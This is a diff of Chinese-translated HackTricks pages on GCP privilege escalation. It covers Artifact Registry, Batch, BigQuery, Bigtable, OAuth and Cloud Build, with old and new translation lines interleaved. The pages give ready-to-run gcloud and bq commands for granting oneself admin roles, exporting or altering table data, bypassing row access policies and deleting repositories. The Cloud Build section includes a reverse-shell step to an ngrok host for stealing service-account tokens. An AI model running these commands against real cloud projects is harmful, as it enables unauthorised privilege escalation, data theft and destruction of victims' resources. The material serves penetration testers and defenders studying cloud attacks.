- 在该目录内,创建另一个目录,使用你的包名,例如 `hello_world`。
|
||||
- 在你的包目录内,创建一个 `__init__.py` 文件。该文件可以为空,也可以包含你的包的初始化内容。
|
||||
- 为你的库创建一个新目录,例如 `hello_world_library`。
|
||||
- 在该目录中创建一个以包名命名的子目录,例如 `hello_world`。
|
||||
- 在包目录中创建一个 `__init__.py` 文件。该文件可以为空,也可以包含包的初始化代码。
|
||||
|
||||
<details>
|
||||
<summary>Create project structure</summary>
|
||||
|
||||
```bash
|
||||
mkdir hello_world_library
|
||||
@@ -45,10 +53,15 @@ mkdir hello_world
|
||||
touch hello_world/__init__.py
|
||||
```
|
||||
|
||||
2. **编写你的库代码**:
|
||||
</details>
|
||||
|
||||
- 在 `hello_world` 目录内,创建一个新的Python文件用于你的模块,例如 `greet.py`。
|
||||
- 编写你的“Hello, World!”函数:
|
||||
2. **编写库代码**:
|
||||
|
||||
- 在 `hello_world` 目录中为你的模块创建一个新的 Python 文件,例如 `greet.py`。
|
||||
- 编写你的 "Hello, World!" 函数:
|
||||
|
||||
<details>
|
||||
<summary>Create library module</summary>
|
||||
|
||||
```python
|
||||
# hello_world/greet.py
|
||||
@@ -56,10 +69,15 @@ def say_hello():
|
||||
return "Hello, World!"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
3. **创建一个 `setup.py` 文件**:
|
||||
|
||||
- 在你的 `hello_world_library` 目录的根目录下,创建一个 `setup.py` 文件。
|
||||
- 该文件包含关于你的库的元数据,并告诉Python如何安装它。
|
||||
- 在 `hello_world_library` 根目录下创建 `setup.py` 文件。
|
||||
- 该文件包含库的元数据,并告诉 Python 如何安装该库。
|
||||
|
||||
<details>
|
||||
<summary>Create setup.py file</summary>
|
||||
|
||||
```python
|
||||
# setup.py
|
||||
@@ -70,47 +88,70 @@ name='hello_world',
|
||||
version='0.1',
|
||||
packages=find_packages(),
|
||||
install_requires=[
|
||||
# 你的库所需的任何依赖
|
||||
# Any dependencies your library needs
|
||||
],
|
||||
)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**现在,上传库:**
|
||||
|
||||
1. **构建你的包**:
|
||||
|
||||
- 从你的 `hello_world_library` 目录的根目录,运行:
|
||||
- 在 `hello_world_library` 根目录下运行:
|
||||
|
||||
<details>
|
||||
<summary>Build Python package</summary>
|
||||
|
||||
```sh
|
||||
python3 setup.py sdist bdist_wheel
|
||||
```
|
||||
|
||||
2. **配置twine的身份验证**(用于上传你的包):
|
||||
- 确保你已安装 `twine`(`pip install twine`)。
|
||||
</details>
|
||||
|
||||
2. **为 twine 配置认证**(用于上传包):
|
||||
- 确保已安装 `twine`(`pip install twine`)。
|
||||
- 使用 `gcloud` 配置凭据:
|
||||
````
|
||||
|
||||
<details>
|
||||
<summary>Upload package with twine</summary>
|
||||
```sh
|
||||
twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://<location>-python.pkg.dev/<project-id>/<repo-name>/ dist/*
|
||||
```
|
||||
````
|
||||
</details>
|
||||
|
||||
3. **清理构建**
|
||||
|
||||
<details>
|
||||
<summary>清理构建产物</summary>
|
||||
```bash
|
||||
rm -rf dist build hello_world.egg-info
|
||||
```
|
||||
</details>
|
||||
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 不能上传与已存在版本相同的python库,但可以上传**更高版本**(或者在版本末尾添加一个额外的**`.0`**,如果这样可行 - 但在python中不适用),或者**删除最后一个版本并上传一个新版本**(需要`artifactregistry.versions.delete`)**:**
|
||||
> 无法上传与已存在版本相同的 python 库,但可以上传 **更高的版本**(或者在版本末尾添加额外的 **`.0`**,如果这行得通 —— 不过在 python 中通常不可行),或者可以 **删除最后一个版本并上传一个新的版本**(需要 `artifactregistry.versions.delete`)**:**
|
||||
>
|
||||
> <details>
|
||||
> <summary>删除 artifact 版本</summary>
|
||||
>
|
||||
> ```sh
|
||||
> gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### `artifactregistry.repositories.downloadArtifacts`
|
||||
|
||||
拥有此权限后,您可以**下载工件**并搜索**敏感信息**和**漏洞**。
|
||||
拥有此权限,您可以**下载 artifacts**并搜索**敏感信息**和**漏洞**。
|
||||
|
||||
下载一个**Docker**镜像:
|
||||
下载一个 **Docker** 镜像:
|
||||
|
||||
<details>
|
||||
<summary>从 Artifact Registry 下载 Docker 镜像</summary>
|
||||
```sh
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -118,11 +159,18 @@ gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
# Dowload image
|
||||
docker pull <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
下载一个 **python** 库:
|
||||
|
||||
<details>
|
||||
<summary>从 Artifact Registry 下载 Python 库</summary>
|
||||
```bash
|
||||
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
|
||||
```
|
||||
- 如果在一个虚拟注册表中混合了远程和标准注册表,并且一个包同时存在于两者中,会发生什么?请查看此页面:
|
||||
</details>
|
||||
|
||||
- 如果在一个 virtual registry 中同时混合了 remote 和 standard registries,并且同一个 package 在两者中都存在,会发生什么?请查看此页面:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-artifact-registry-persistence.md
|
||||
@@ -130,30 +178,40 @@ pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth prin
|
||||
|
||||
### `artifactregistry.tags.delete`, `artifactregistry.versions.delete`, `artifactregistry.packages.delete`, (`artifactregistry.repositories.get`, `artifactregistry.tags.get`, `artifactregistry.tags.list`)
|
||||
|
||||
从注册表中删除工件,例如 docker 镜像:
|
||||
从 registry 删除 artifacts,例如 docker images:
|
||||
|
||||
<details>
|
||||
<summary>从 Artifact Registry 删除 Docker 镜像</summary>
|
||||
```bash
|
||||
# Delete a docker image
|
||||
gcloud artifacts docker images delete <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.delete`
|
||||
|
||||
删除一个完整的仓库(即使它有内容):
|
||||
删除整个仓库(即使它有内容):
|
||||
|
||||
<details>
|
||||
<summary>删除 Artifact Registry 仓库</summary>
|
||||
```
|
||||
gcloud artifacts repositories delete <repo-name> --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `artifactregistry.repositories.setIamPolicy`
|
||||
|
||||
拥有此权限的攻击者可以为自己提供执行一些先前提到的存储库攻击的权限。
|
||||
具有此权限的攻击者可以赋予自己执行前面提到的一些仓库攻击的权限。
|
||||
|
||||
### 通过 Artifact Registry 读写进行其他服务的转移
|
||||
### Pivoting to other Services through Artifact Registry Read & Write
|
||||
|
||||
- **Cloud Functions**
|
||||
|
||||
当创建 Cloud Function 时,一个新的 docker 镜像会被推送到项目的 Artifact Registry。我尝试用一个新的镜像修改镜像,甚至删除当前镜像(和 `cache` 镜像),但没有任何变化,Cloud Function 继续工作。因此,也许 **可能可以利用竞争条件攻击**,就像使用存储桶一样,来更改将要运行的 docker 容器,但 **仅仅修改存储的镜像无法破坏 Cloud Function**。
|
||||
当创建 Cloud Function 时,会将新的 docker image 推送到该项目的 Artifact Registry。我尝试用新的镜像修改该 image,甚至删除当前镜像(以及 `cache` image),但什么都没有改变,Cloud Function 仍继续工作。因此,可能像对 bucket 的情况一样,**可能可以滥用 Race Condition 攻击**来更改将要运行的 docker 容器,但**仅仅修改存储的镜像无法用来攻破 Cloud Function**。
|
||||
|
||||
- **App Engine**
|
||||
|
||||
尽管 App Engine 在 Artifact Registry 内部创建 docker 镜像。测试表明 **即使您在此服务内修改镜像** 并删除 App Engine 实例(以便部署一个新的实例),**执行的代码不会改变**。\
|
||||
可能通过执行 **类似于存储桶的竞争条件攻击,可能可以覆盖执行的代码**,但这尚未测试。
|
||||
尽管 App Engine 会在 Artifact Registry 中创建 docker images。测试显示,**即便你在该服务中修改镜像**并移除 App Engine 实例(因此会部署一个新的实例),**实际执行的代码并不会改变**。\
|
||||
可能像对 buckets 那样通过执行 **Race Condition 攻击** 有可能覆盖被执行的代码,但这并未经过测试。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# GCP - 批处理权限提升
|
||||
# GCP - Batch Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 批处理
|
||||
## Batch
|
||||
|
||||
基本信息:
|
||||
|
||||
@@ -12,7 +12,10 @@
|
||||
|
||||
### `batch.jobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
可以创建一个批处理作业,获取反向 shell 并提取服务账户的元数据令牌(默认是计算服务账户)。
|
||||
可以创建一个 Batch job,获取 reverse shell 并 exfiltrate SA 的 metadata token(默认是 compute SA)。
|
||||
|
||||
<details>
|
||||
<summary>创建 Batch job 并获取 reverse shell</summary>
|
||||
```bash
|
||||
gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
{
|
||||
@@ -53,4 +56,6 @@ gcloud beta batch jobs submit job-lxo3b2ub --location us-east1 --config - <<EOD
|
||||
}
|
||||
EOD
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## BigQuery
|
||||
|
||||
有关 BigQuery 的更多信息,请查看:
|
||||
有关 BigQuery 的更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
@@ -12,21 +12,34 @@
|
||||
|
||||
### 读取表
|
||||
|
||||
读取存储在 BigQuery 表中的信息可能会找到**敏感信息**。访问这些信息所需的权限是 **`bigquery.tables.get`** , **`bigquery.jobs.create`** 和 **`bigquery.tables.getData`**:
|
||||
读取存储在 BigQuery 表中的信息,可能会发现**敏感信息**。访问这些信息需要以下权限: **`bigquery.tables.get`**、**`bigquery.jobs.create`** 和 **`bigquery.tables.getData`**:
|
||||
|
||||
<details>
|
||||
<summary>读取 BigQuery 表数据</summary>
|
||||
```bash
|
||||
bq head <dataset>.<table>
|
||||
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
|
||||
```
|
||||
</details>
|
||||
|
||||
### 导出数据
|
||||
|
||||
这是访问数据的另一种方式。**将其导出到云存储桶**,然后**下载包含信息的文件**。\
|
||||
要执行此操作,需要以下权限:**`bigquery.tables.export`**,**`bigquery.jobs.create`** 和 **`storage.objects.create`**。
|
||||
这是访问数据的另一种方式。**将其导出到 cloud storage bucket** 并 **下载包含信息的文件**。\
|
||||
执行此操作需要以下权限:**`bigquery.tables.export`**, **`bigquery.jobs.create`** 和 **`storage.objects.create`**。
|
||||
|
||||
<details>
|
||||
<summary>将 BigQuery 表导出到 Cloud Storage</summary>
|
||||
```bash
|
||||
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
|
||||
```
|
||||
</details>
|
||||
|
||||
### 插入数据
|
||||
|
||||
可能可以在 Bigquery 表中**引入某些受信任的数据**以利用**其他地方的漏洞。** 这可以通过权限**`bigquery.tables.get`**、**`bigquery.tables.updateData`**和**`bigquery.jobs.create`**轻松完成:
|
||||
可能可以在 Bigquery 表中**引入某些受信任的数据**,以利用其他位置的**漏洞**。这可以通过权限 **`bigquery.tables.get`** , **`bigquery.tables.updateData`** 和 **`bigquery.jobs.create`** 轻松实现:
|
||||
|
||||
<details>
|
||||
<summary>将数据插入 BigQuery 表</summary>
|
||||
```bash
|
||||
# Via query
|
||||
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
|
||||
@@ -34,9 +47,14 @@ bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank,
|
||||
# Via insert param
|
||||
bq insert dataset.table /tmp/mydata.json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.setIamPolicy`
|
||||
|
||||
攻击者可以利用此权限**为自己提供更多权限**,以便对 BigQuery 数据集进行操作:
|
||||
攻击者可以滥用此权限,**为自己授予对 BigQuery 数据集的更多权限**:
|
||||
|
||||
<details>
|
||||
<summary>在 BigQuery 数据集上设置 IAM 策略</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.getIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -46,9 +64,14 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
|
||||
|
||||
仅此权限允许**通过修改指示谁可以访问的 ACL 来更新您对 BigQuery 数据集的访问权限**:
|
||||
仅此权限就允许**通过修改指示谁可以访问的 ACLs 来更新您对 BigQuery 数据集的访问权限**:
|
||||
|
||||
<details>
|
||||
<summary>更新 BigQuery 数据集的 ACLs</summary>
|
||||
```bash
|
||||
# Download current permissions, reqires bigquery.datasets.get
|
||||
bq show --format=prettyjson <proj>:<dataset> > acl.json
|
||||
@@ -57,9 +80,14 @@ bq update --source acl.json <proj>:<dataset>
|
||||
## Read it with
|
||||
bq head $PROJECT_ID:<dataset>.<table>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.tables.setIamPolicy`
|
||||
|
||||
攻击者可以滥用此权限来**为自己提供更多权限**,以便对 BigQuery 表进行操作:
|
||||
攻击者可以滥用此权限来**为自己授予对 BigQuery 表的更多权限**:
|
||||
|
||||
<details>
|
||||
<summary>在 BigQuery 表上设置 IAM 策略</summary>
|
||||
```bash
|
||||
# For this you also need bigquery.tables.setIamPolicy
|
||||
bq add-iam-policy-binding \
|
||||
@@ -69,14 +97,24 @@ bq add-iam-policy-binding \
|
||||
|
||||
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
|
||||
```
|
||||
</details>
|
||||
|
||||
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
|
||||
|
||||
根据文档,拥有提到的权限可以**更新行策略。**\
|
||||
然而,**使用cli `bq`** 你还需要一些额外的权限:**`bigquery.rowAccessPolicies.create`**,**`bigquery.tables.get`**。
|
||||
根据文档,具有上述权限可以**更新行访问策略。**\
|
||||
但是,**使用 CLI `bq`** 时还需要额外权限:**`bigquery.rowAccessPolicies.create`**、**`bigquery.tables.get`**。
|
||||
|
||||
<details>
|
||||
<summary>创建或替换行访问策略</summary>
|
||||
```bash
|
||||
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
|
||||
```
|
||||
可以在行策略枚举的输出中找到过滤器 ID。示例:
|
||||
</details>
|
||||
|
||||
可以在 row policies enumeration 的输出中找到 filter ID。示例:
|
||||
|
||||
<details>
|
||||
<summary>列出 row access policies</summary>
|
||||
```bash
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table>
|
||||
|
||||
@@ -84,7 +122,12 @@ Id Filter Predicate Grantees Creation Time Las
|
||||
------------- ------------------ ----------------------------- ----------------- --------------------
|
||||
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
|
||||
```
|
||||
</details>
|
||||
|
||||
如果你有 **`bigquery.rowAccessPolicies.delete`** 而不是 `bigquery.rowAccessPolicies.update`,你也可以直接删除该策略:
|
||||
|
||||
<details>
|
||||
<summary>删除行访问策略</summary>
|
||||
```bash
|
||||
# Remove one
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
@@ -92,7 +135,9 @@ bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<
|
||||
# Remove all (if it's the last row policy you need to use this
|
||||
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 另一个绕过行访问策略的潜在选项是仅更改受限数据的值。如果您只能在 `term` 为 `Cfba` 时查看,则只需将表中的所有记录修改为 `term = "Cfba"`。但是,这被 bigquery 阻止了。
|
||||
> 另一个可能绕过行访问策略的选项是直接更改受限数据的值。如果你只能看到当 `term` 是 `Cfba` 时的记录,可以将表中所有记录修改为 `term = "Cfba"`。但这会被 bigquery 阻止。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+40
-20
@@ -4,7 +4,7 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
有关 Bigtable 的更多信息,请查看:
|
||||
有关 Bigtable 的更多信息,请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
@@ -12,39 +12,50 @@
|
||||
|
||||
### `bigtable.instances.setIamPolicy`
|
||||
|
||||
**Permissions:** `bigtable.instances.setIamPolicy`(通常还需要 `bigtable.instances.getIamPolicy` 来读取当前绑定)。
|
||||
**权限:** `bigtable.instances.setIamPolicy`(通常还需要 `bigtable.instances.getIamPolicy` 来读取当前绑定)。
|
||||
|
||||
拥有实例的 IAM 策略允许你授予自己 **`roles/bigtable.admin`**(或任何自定义角色),该权限会级联到该实例中的每个集群、表、备份以及授权视图。
|
||||
拥有实例的 IAM 策略允许你授予自己 **`roles/bigtable.admin`**(或任何自定义角色),该权限会级联到实例中的每个集群、表、备份和授权视图。
|
||||
|
||||
<details><summary>在实例上授予自己 bigtable.admin 角色</summary>
|
||||
```bash
|
||||
gcloud bigtable instances add-iam-policy-binding <instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
> [!TIP]
|
||||
> 如果无法列出现有的绑定(bindings),可以编写一个新的策略文档,并使用 `gcloud bigtable instances set-iam-policy` 推送它,前提是你在策略中保留了自己。
|
||||
</details>
|
||||
|
||||
After having this permission check in the [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) techniques for more ways to abuse Bigtable permissions.
|
||||
> [!TIP]
|
||||
> 如果你无法列出现有的 bindings,编写一个新的 policy 文档并使用 `gcloud bigtable instances set-iam-policy` 推送它,只要确保自己仍在其中即可。
|
||||
|
||||
获取此权限后,请查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中的技术,以了解更多滥用 Bigtable 权限的方法。
|
||||
|
||||
### `bigtable.tables.setIamPolicy`
|
||||
|
||||
**权限:** `bigtable.tables.setIamPolicy`(可选 `bigtable.tables.getIamPolicy`)。
|
||||
**权限:** `bigtable.tables.setIamPolicy` (可选 `bigtable.tables.getIamPolicy`)。
|
||||
|
||||
实例策略可能被锁定,同时单个表的权限被委派。如果你能够编辑表的 IAM,你可以 **将自己提升为目标数据集的所有者**,而无需影响其他工作负载。
|
||||
Instance policies can be locked down while individual tables are delegated. If you can edit the table IAM you can **promote yourself to owner of the target dataset** without touching other workloads.
|
||||
|
||||
<details><summary>Grant yourself bigtable.admin role on table</summary>
|
||||
```bash
|
||||
gcloud bigtable tables add-iam-policy-binding <table-id> \
|
||||
--instance=<instance-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
获得此权限后,请查看[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md)中的技术,以了解更多滥用 Bigtable 权限的方法。
|
||||
</details>
|
||||
|
||||
在获得此权限后,请查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中的技术,了解更多滥用 Bigtable 权限的方法。
|
||||
|
||||
|
||||
### `bigtable.backups.setIamPolicy`
|
||||
|
||||
**权限:** `bigtable.backups.setIamPolicy`
|
||||
**Permissions:** `bigtable.backups.setIamPolicy`
|
||||
|
||||
备份可以恢复到你控制的**任何项目中的任何实例**。首先,授予你的身份对备份的访问权限,然后将其恢复到你拥有 Admin/Owner 角色的 sandbox 中。
|
||||
备份可以恢复到你控制的任意项目中的任意实例。首先,赋予你的身份对该备份的访问权限,然后将其恢复到你拥有 Admin/Owner 角色的沙箱中。
|
||||
|
||||
如果你拥有权限 `bigtable.backups.setIamPolicy`,你可以授予自己权限 `bigtable.backups.restore` 来恢复旧的备份并尝试访问敏感信息。
|
||||
如果你拥有 `bigtable.backups.setIamPolicy` 权限,你可以授予自己 `bigtable.backups.restore` 权限,以恢复旧的备份并尝试访问敏感信息。
|
||||
|
||||
<details><summary>获取备份快照所有权</summary>
|
||||
```bash
|
||||
# Take ownership of the snapshot
|
||||
gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
@@ -52,13 +63,18 @@ gcloud bigtable backups add-iam-policy-binding <backup-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.admin'
|
||||
```
|
||||
在查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中关于如何恢复备份的权限检查之后。
|
||||
</details>
|
||||
|
||||
### 更新 Authorized View
|
||||
在查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中关于如何恢复备份的内容后,进行此权限检查。
|
||||
|
||||
**权限:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views 用于对行/列进行脱敏。修改或删除它们会**移除防御者所依赖的细粒度保护措施**。
|
||||
### 更新 authorized view
|
||||
|
||||
**Permissions:** `bigtable.authorizedViews.update`
|
||||
|
||||
Authorized Views 用于对行/列进行脱敏。修改或删除它们会**移除防御方所依赖的细粒度保护措施**。
|
||||
|
||||
<details><summary>将 authorized view 更新以扩大访问范围</summary>
|
||||
```bash
|
||||
# Broaden the subset by uploading a permissive definition
|
||||
gcloud bigtable authorized-views update <view-id> \
|
||||
@@ -83,13 +99,17 @@ EOF
|
||||
gcloud bigtable authorized-views describe <view-id> \
|
||||
--instance=<instance-id> --table=<table-id>
|
||||
```
|
||||
在获得此权限后,请参阅[**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 了解如何从授权视图读取。
|
||||
</details>
|
||||
|
||||
在获得此权限后,请参考 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 了解如何从授权视图读取数据。
|
||||
|
||||
### `bigtable.authorizedViews.setIamPolicy`
|
||||
|
||||
**权限:** `bigtable.authorizedViews.setIamPolicy`.
|
||||
|
||||
拥有此权限的攻击者可以为自己授予对授权视图的访问权限,该视图可能包含他们原本无法访问的敏感数据。
|
||||
具有此权限的攻击者可以为自己授予对授权视图 (Authorized View) 的访问权限,该视图可能包含他们原本无法访问的敏感数据。
|
||||
|
||||
<details><summary>为自己授予对授权视图的访问权限</summary>
|
||||
```bash
|
||||
# Give more permissions over an existing view
|
||||
gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
@@ -97,8 +117,8 @@ gcloud bigtable authorized-views add-iam-policy-binding <view-id> \
|
||||
--member='user:<attacker@example.com>' \
|
||||
--role='roles/bigtable.viewer'
|
||||
```
|
||||
在 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中已经有此权限检查,用于查看如何从授权视图读取。
|
||||
|
||||
</details>
|
||||
|
||||
在进行此权限检查并查看 [**Bigtable Post Exploitation section**](../gcp-post-exploitation/gcp-bigtable-post-exploitation.md) 中关于如何从授权视图读取的内容之后。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### 创建 OAuth 品牌和客户端
|
||||
### 创建 OAuth Brand 和 Client
|
||||
|
||||
[**根据文档**](https://cloud.google.com/iap/docs/programmatic-oauth-clients),这些是所需的权限:
|
||||
[**根据文档**](https://cloud.google.com/iap/docs/programmatic-oauth-clients),以下是所需的权限:
|
||||
|
||||
- `clientauthconfig.brands.list`
|
||||
- `clientauthconfig.brands.create`
|
||||
@@ -14,6 +14,8 @@
|
||||
- `clientauthconfig.clients.getWithSecret`
|
||||
- `clientauthconfig.clients.delete`
|
||||
- `clientauthconfig.clients.update`
|
||||
|
||||
<details><summary>创建 OAuth Brand 和 Client</summary>
|
||||
```bash
|
||||
# Create a brand
|
||||
gcloud iap oauth-brands list
|
||||
@@ -21,4 +23,6 @@ gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_e
|
||||
# Create a client of the brand
|
||||
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudbuild
|
||||
|
||||
有关 Cloud Build 的更多信息,请查看:
|
||||
欲了解有关 Cloud Build 的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,12 +12,14 @@
|
||||
|
||||
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
通过此权限,您可以**提交云构建**。cloudbuild 机器的文件系统中**默认会有一个 cloudbuild 服务账户的令牌**:`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。但是,您可以在 cloudbuild 配置中**指示项目内的任何服务账户**。\
|
||||
因此,您可以让机器将令牌外泄到您的服务器,或者**在其中获取一个反向 shell 并获取令牌**(包含令牌的文件可能会更改)。
|
||||
拥有此权限,你可以**submit a cloud build**。cloudbuild 机器在其文件系统中默认会包含**default a token of the cloudbuild Service Account**:`<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`。然而,你可以在 cloudbuild 配置中**indicate any service account inside the project**。\
|
||||
因此,你可以让该机器将 token exfiltrate 到你的服务器,或是在其中**get a reverse shell inside of it and get yourself the token**(包含 token 的文件可能会变动)。
|
||||
|
||||
#### 通过 gcloud CLI 直接利用
|
||||
#### 通过 gcloud CLI 的直接利用
|
||||
|
||||
1- 创建 `cloudbuild.yaml` 并用您的监听器数据进行修改
|
||||
1- 创建 `cloudbuild.yaml` 并用你的 listener data 修改它
|
||||
|
||||
<details><summary>Cloud Build YAML configuration for reverse shell</summary>
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
@@ -27,19 +29,27 @@ bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
2- 上传一个没有源代码的简单构建,yaml 文件并指定在构建中使用的服务账户:
|
||||
</details>
|
||||
|
||||
2- 上传一个不包含源代码的简单 build,包含 yaml 文件,并指定在构建中使用的 SA:
|
||||
|
||||
<details><summary>使用指定服务账号提交 Cloud Build</summary>
|
||||
```bash
|
||||
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
|
||||
```
|
||||
#### 使用 python gcloud 库
|
||||
您可以在 [**GitHub 上找到原始漏洞脚本**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py)(但我无法使用它获取令牌的位置)。因此,请查看一个脚本以自动化 [**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) 和一个 python 脚本以在 cloudbuild 机器内部获取反向 shell 并 [**窃取它**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py)(在代码中您可以找到如何指定其他服务帐户的方式)**。**
|
||||
</details>
|
||||
|
||||
有关更深入的解释,请访问 [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
#### 使用 python gcloud 库
|
||||
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
|
||||
|
||||
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
|
||||
|
||||
|
||||
### `cloudbuild.repositories.accessReadToken`
|
||||
|
||||
拥有此权限的用户可以获取用于访问存储库的 **读取访问令牌**:
|
||||
